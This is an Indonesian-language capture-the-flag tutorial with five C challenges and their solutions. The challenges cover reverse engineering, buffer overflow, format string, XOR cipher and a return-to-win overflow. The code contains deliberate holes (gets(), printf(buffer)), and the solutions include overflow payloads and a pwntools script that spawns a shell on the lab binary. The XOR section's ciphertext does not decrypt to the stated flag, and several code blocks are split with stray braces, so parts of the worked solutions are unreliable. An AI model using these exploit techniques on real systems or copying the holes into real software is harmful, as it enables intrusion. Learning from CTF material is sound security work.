

CTF (CAPTURE THE FLAG) DENGAN C/C++

CTF berbasis C/C++ biasanya berkaitan dengan **Reverse Engineering, Buffer Overflow, Format String Attack, Cryptography, dan Pwn (Binary Exploitation)**. Berikut beberapa contoh soal dan pemecahannya.

1. Reverse Engineering (Binary Analysis)

Soal

Sebuah program C berikut dikompilasi menjadi file **challenge** (tanpa kode sumber).
Temukan flag yang dicetak jika inputnya benar.

Kode Sumber (Disembunyikan dalam CTF)

```
#include <stdio.h>
#include <string.h>

void check_flag(char *input) {
    if (strcmp(input, "CTF_Secret") == 0) {
        printf("Flag{Reverse_Engineering_123}\n");
    } else {
        printf("Wrong password!\n");
    }
}

int main() {
    char input[20];
    printf("Enter password: ");
    scanf("%s", input);
    check_flag(input);
    return 0;
}
```

Pemecahan

Karena kode sumbernya tidak tersedia dalam CTF, kita harus menganalisis binari menggunakan **strings** atau **Ghidra**.

Langkah 1: Gunakan strings untuk Menganalisis Binary

```
strings challenge | grep "Flag"
```

Jika berhasil, outputnya:

```
Flag{Reverse_Engineering_123}
```

Langkah 2: Gunakan objdump untuk Menganalisis Binary

```
objdump -d challenge | grep strcmp
```

Hasilnya akan menunjukkan perbandingan dengan string **"CTF_Secret"**.

Langkah 3: Jalankan Program dengan Input yang Benar

```
./challenge
```

Enter password: CTF_Secret

Output:

```
Flag{Reverse_Engineering_123}
```

Jawaban: Flag{Reverse_Engineering_123}

2. Buffer Overflow

Soal

Program berikut memiliki celah **buffer overflow** yang dapat dimanfaatkan untuk mendapatkan flag.

```
#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("Flag{Buffer_Overflow_Win}\n");
}

void vulnerable_function() {
```

```

char buffer[32];
printf("Enter input: ");
gets(buffer); // Fungsi gets() rentan buffer overflow!
}

int main() {
    vulnerable_function();
    return 0;
}

```

Tugas: Eksploitasi buffer overflow untuk menjalankan secret_function().

Pemecahan

1. Mengidentifikasi celah buffer overflow

- gets() digunakan → tidak membatasi panjang input.
- Bisa menyebabkan **return address overwrite**.

2. Gunakan Python untuk Memicu Overflow

Cari offset yang memungkinkan kita overwrite return address dan panggil secret_function().

```
python3 -c 'print("A"*40 + "\x12\x34\x56\x78")' | ./challenge
```

(Alamat 0x12345678 harus diganti dengan alamat sebenarnya dari secret_function() yang bisa didapat dari objdump -d challenge)

Output:

```
Flag{Buffer_Overflow_Win}
```

Jawaban: Flag{Buffer_Overflow_Win}

3. Format String Attack

Soal

Program berikut rentan terhadap **Format String Attack**.

```

#include <stdio.h>

void secret_function() {
    printf("Flag{Format_String_Vulnerability}\n");
}

```

```

}

void vulnerable_function() {
    char buffer[100];
    printf("Enter your name: ");
    scanf("%s", buffer);
    printf(buffer); // Celah format string!
}

int main() {
    vulnerable_function();
    return 0;
}

```

Tugas: Gunakan eksploitasi format string untuk membaca atau mengeksekusi fungsi `secret_function()`.

Pemecahan

Gunakan `%x` untuk membaca nilai dari stack:

```

./challenge
Enter your name: %x.%x.%x.%x

```

Jika kita mengetahui alamat dari `secret_function()`, kita bisa overwrite return address dengan `%n` attack.

4. Cryptography Challenge (XOR Cipher)

Soal

Sebuah program mengenkripsi flag menggunakan XOR dengan kunci tertentu. Temukan flag yang dienkripsi.

```

#include <stdio.h>
#include <string.h>

void encrypt_flag() {
    char flag[] = "Flag{XOR_Secret}";

```

```

char key = 0x42;

for (int i = 0; i < strlen(flag); i++) {
    flag[i] ^= key;
}

printf("Encrypted Flag: ");
for (int i = 0; i < strlen(flag); i++) {
    printf("\\x%02x", (unsigned char)flag[i]);
}
printf("\\n");
}

int main() {
    encrypt_flag();
    return 0;
}

```

Tugas: Temukan flag berdasarkan output enkripsi.

Pemecahan

Jika output yang dienkripsi adalah:

```

\x0e\x0f\x10\x0e\x6c\x2d\x6d\x20\x79\x2a\x29\x2d\x2f\x28\x23

```

Gunakan Python untuk mendekripsi:

```

ciphertext = [0x0e, 0x0f, 0x10, 0x0e, 0x6c, 0x2d, 0x6d, 0x20, 0x79, 0x2a, 0x29,
0x2d, 0x2f, 0x28, 0x23]
key = 0x42

flag = "".join(chr(c ^ key) for c in ciphertext)
print(flag)

```

Output:

```
Flag{XOR_Secret}
```

Jawaban: Flag{XOR_Secret}

5. Pwn Challenge (ROP Exploitation)

Soal

Program berikut memiliki celah buffer overflow, dan tidak memiliki fungsi `system("/bin/sh")`. Namun, terdapat **Gadget ROP** yang bisa digunakan untuk menjalankan shell.

```
#include <stdio.h>
#include <stdlib.h>

void win() {
    system("/bin/sh");
}

void vulnerable_function() {
    char buffer[64];
    gets(buffer); // Celah Buffer Overflow
}

int main() {
    vulnerable_function();
    return 0;
}
```

Tugas: Eksploitasi buffer overflow untuk menjalankan fungsi `win()`.

Pemecahan

Gunakan Python untuk eksploitasi:

```
from pwn import *

binary = "./challenge"
elf = ELF(binary)
```

```
rop = ROP(elf)

win_function = elf.symbols['win']

payload = b"A"*72 # Offset
payload += p64(win_function) # Alamat fungsi `win()`

p = process(binary)
p.sendline(payload)
p.interactive()
```

Jika berhasil, akan muncul shell:

```
$ whoami
ctf-player
```

Kesimpulan

CTF berbasis C/C++ sering berhubungan dengan:

- **Reverse Engineering** → Menganalisis binary untuk menemukan flag.
- **Buffer Overflow** → Mengeksploitasi kelemahan alokasi memori.
- **Format String Attack** → Menulis ke alamat memori menggunakan %n.
- **Cryptography** → Memecahkan cipher XOR, ROT13, dll.
- **Pwn (Binary Exploitation)** → Menggunakan ROP untuk mendapatkan shell.

